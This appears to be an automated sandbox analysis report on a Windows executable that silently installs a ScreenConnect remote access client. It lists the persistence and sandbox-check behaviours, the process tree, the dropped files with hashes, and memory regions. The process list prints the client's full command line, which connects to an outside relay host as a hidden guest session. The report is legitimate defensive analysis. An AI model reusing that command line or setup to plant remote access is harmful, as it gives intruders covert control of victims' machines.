Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    20/04/2026, 08:32

General

  • Target
    51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e.exe
  • Size 5.5MB
  • Sample260420-kfrrmahs2s
  • SHA256 51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e.exe
    "C:\Users\Admin\AppData\Local\Temp\51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4020
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\f5165cc4f78bfd6f\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3440
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C345A4445A64A2A0FDAC1392D35B07C3 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:448
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240656953 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2668
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4528
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5FE314E84075A8529347045951845771
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2984
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A21D44CD9F15F109C7EFDD1403E47502 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3924
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2508
    • C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ggdt35.anondns.net&p=8041&s=1a2f55a9-f05a-49af-9dc1-f47b6e8c6f32&k=BgIAAACkAABSU0ExAAgAAAEAAQA1E6%2bcvE6OIcioKoMhj38GTXw0%2bRRLsU%2bmIXOV4xr9PJ6yXRs8qsDxP%2f66GoG%2f1hzplYBXnSSvC%2fn9kMAsrBn4De3E9ymFASJ%2fgmVOjxsI1C2Wz9CmwniolCVK%2fTIXTtOXOPKKX3HIqWMHDOUsXUgvBxVt6EGoFb6jDfMmK2x1SJQBM3j8fHkeyTQYYNP73Ci8fo%2bLc80dAjypjCUd1WYptqBR1sKRUESiZqy2R9x1Jkl6lk8nb7WTuyskgJHA%2f5E0iMPBFH2kYR0IMUMNAPkOsgqvi%2bmnhuDVkTVcWJ%2bXmUpNm4VRuDHMdCq2xbguUxYuHuvv8sqYukh3oHm9wTqt&c=Transport%2015%20may&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe" "RunRole" "c3a916d1-db1d-492b-a291-5408255f3402" "User"
        2⤵
        • Executes dropped EXE
        PID:964
      • C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe" "RunRole" "8c2a654e-dd18-41ca-9fa8-6d5ff856128e" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4156

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58654e.rbs

          • Path C:\Config.Msi\e58654e.rbs
          • Size 214KB
          • SHA256 9d85c5d19eacd47e4097bf14a22e7767b154f0d6bc6eda054b30992b88e72182
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.Override.en-US.resources
          • Size 334B
          • SHA256 b363e14107e1694b7238490bd13ef9d2adb0214dcabd036ae5c017c2ffd0a1d3
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.Override.resources
          • Size 113KB
          • SHA256 820a1e788ee0fc4b7c68d753f4c7b7ab88dfb50b386f802be7481e2ed96be167
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\app.config
          • Size 2KB
          • SHA256 e2951e02c7bfadd80f355e7c01120a1bbaca92170f941d3783bea0937c8a4d1c
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\system.config
          • Size 948B
          • SHA256 709c44065f58637affe829ef1f0897c457baf7f14e5ef71b8af78b965782436d
          • MD5 SHA1 SHA512 TLSH

          MSI21CB.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\f5165cc4f78bfd6f\ScreenConnect.ClientSetup.msi
          • Size 13.2MB
          • SHA256 8ff345213878b435bf77beee8166c89bc6eb4f06d8239a9c3b5830416880e576
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6667.tmp

          • Path C:\Windows\Installer\MSI6667.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 52c3d2c9ac535c69e65630798eda1bdb5afa3bdceab3ffbc6dff494ed89b6c44
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {34100ea3-a9c0-4ec5-9675-d939d3057870}_OnDiskSnapshotProp

          • Path \??\Volume{8f991d9f-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{34100ea3-a9c0-4ec5-9675-d939d3057870}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 d1cfa3e81406eba776c24bb73642fb3ace6087493af1c51ebe82d5be482e475a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/448-138-0x0000000002BF0000-0x0000000002D3D000-memory.dmp

          memory/448-52-0x0000000002BF0000-0x0000000002D3D000-memory.dmp

          memory/964-145-0x000000001BBE0000-0x000000001BC21000-memory.dmp

          memory/964-133-0x0000000003170000-0x00000000031A6000-memory.dmp

          memory/964-157-0x0000000001850000-0x000000000185C000-memory.dmp

          memory/964-158-0x000000001C670000-0x000000001CE1E000-memory.dmp

          memory/964-143-0x0000000003140000-0x0000000003158000-memory.dmp

          memory/964-144-0x000000001BBC0000-0x000000001BBD8000-memory.dmp

          memory/964-132-0x0000000000FC0000-0x0000000001058000-memory.dmp

          memory/964-134-0x000000001BF60000-0x000000001BFEC000-memory.dmp

          memory/964-135-0x000000001C1A0000-0x000000001C34C000-memory.dmp

          memory/964-140-0x000000001C4E0000-0x000000001C668000-memory.dmp

          memory/2668-35-0x0000000002B10000-0x0000000002B1A000-memory.dmp

          memory/2668-49-0x00000000024D0000-0x000000000261D000-memory.dmp

          memory/2668-31-0x0000000004EA0000-0x0000000004ECE000-memory.dmp

          memory/2668-43-0x00000000051A0000-0x000000000534C000-memory.dmp

          memory/2668-39-0x0000000004F60000-0x0000000004FEC000-memory.dmp

          memory/2804-154-0x0000000003BD0000-0x0000000003D1D000-memory.dmp

          memory/2804-103-0x0000000003F20000-0x0000000003F70000-memory.dmp

          memory/2804-108-0x0000000004240000-0x00000000042D2000-memory.dmp

          memory/2804-155-0x00000000052B0000-0x000000000530B000-memory.dmp

          memory/2804-110-0x0000000003FB0000-0x0000000003FF1000-memory.dmp

          memory/2804-112-0x0000000004430000-0x0000000004505000-memory.dmp

          memory/2804-92-0x0000000001610000-0x0000000001628000-memory.dmp

          memory/2804-107-0x0000000003F70000-0x0000000003FA6000-memory.dmp

          memory/2984-136-0x0000000002340000-0x000000000248D000-memory.dmp

          memory/3024-51-0x00000233E2F10000-0x00000233E36BE000-memory.dmp

          memory/3024-146-0x00000233E2F10000-0x00000233E36BE000-memory.dmp

          memory/3440-139-0x0000000002B10000-0x0000000002C5D000-memory.dmp

          memory/3440-50-0x0000000002B10000-0x0000000002C5D000-memory.dmp

          memory/3924-137-0x0000000002780000-0x00000000028CD000-memory.dmp

          memory/4020-2-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4020-7-0x0000000006830000-0x0000000006DD6000-memory.dmp

          memory/4020-3-0x0000000005F90000-0x0000000006282000-memory.dmp

          memory/4020-0-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4020-1-0x0000000003450000-0x0000000003458000-memory.dmp

          memory/4020-8-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4020-5-0x0000000005BE0000-0x0000000005C02000-memory.dmp

          memory/4020-11-0x0000000005980000-0x0000000005ACD000-memory.dmp

          memory/4020-4-0x0000000005B40000-0x0000000005BCC000-memory.dmp

          memory/4020-6-0x0000000005C90000-0x0000000005E3C000-memory.dmp

          memory/4156-150-0x000000001C4D0000-0x000000001CC7E000-memory.dmp

          memory/4156-149-0x00000000015A0000-0x00000000015AC000-memory.dmp

          memory/4528-153-0x0000025F90E60000-0x0000025F9160E000-memory.dmp

          memory/4528-159-0x0000025F90E60000-0x0000025F9160E000-memory.dmp